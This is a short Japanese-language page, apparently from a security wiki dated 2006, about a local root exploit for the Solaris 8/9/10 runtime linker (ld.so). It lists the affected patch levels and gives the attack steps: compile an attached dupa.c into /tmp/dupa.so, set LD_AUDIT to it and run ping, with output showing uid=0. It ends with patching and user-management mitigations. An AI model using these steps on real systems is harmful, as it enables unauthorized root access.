Solaris 9 / 10 ld.so Local Root Exploit

• 2006/02/16　初版
  • Author kikuzou

• Solaris9/10 の ld.so の脆弱性を利用した攻撃コード。
• 一般ユーザから root になれる。
• 2005/06/28 公開

• SPARC Platform:
  • Solaris 8 with patches 109147-31 through 109147-36 and without patch 109147-37
  • Solaris 9 with patches 112963-16 through 112963-21 and without patch 112963-22
  • Solaris 10 without patch 117461-04
• x86 Platform
  • Solaris 8 with patches 109148-31 through 109148-36 and without patch 109148-37
  • Solaris 9 with patches 113986-12 through 113986-17 and without patch 113986-18
  • Solaris 10 without patch 118345-05

• Solaris 7

• Sun microsystems::Security Vulnerability in the Solaris Runtime Linker (ld.so.1(1))

• SPARC版 Solaris8

• 一般ユーザでログイン後、以下コマンドを実行する。

$ vi dupa.c

　内容は、添付ファイルのソースコード

$ gcc -fPIC -shared -o /tmp/dupa.so dupa.c
$ setenv LD_AUDIT /tmp/dupa.so　※bashの場合は export LD_AUDIT=/tmp/dupa.so
$ ping
# 
# id
uid=0(root) gid=1000(localusr)
# 

1. パッチの適用
   • SPARC Platform
     • Solaris 8 with patch 109147-37 or later
     • Solaris 9 with patch 112963-22 or later
     • Solaris 10 with patch 117461-04 or later
   • x86 Platform
     • Solaris 8 with patch 109148-37 or later
     • Solaris 9 with patch 113986-18 or later
     • Solaris 10 with patch 118345-05 or later
2. ユーザの厳格な管理
   • 不要なユーザを作成しない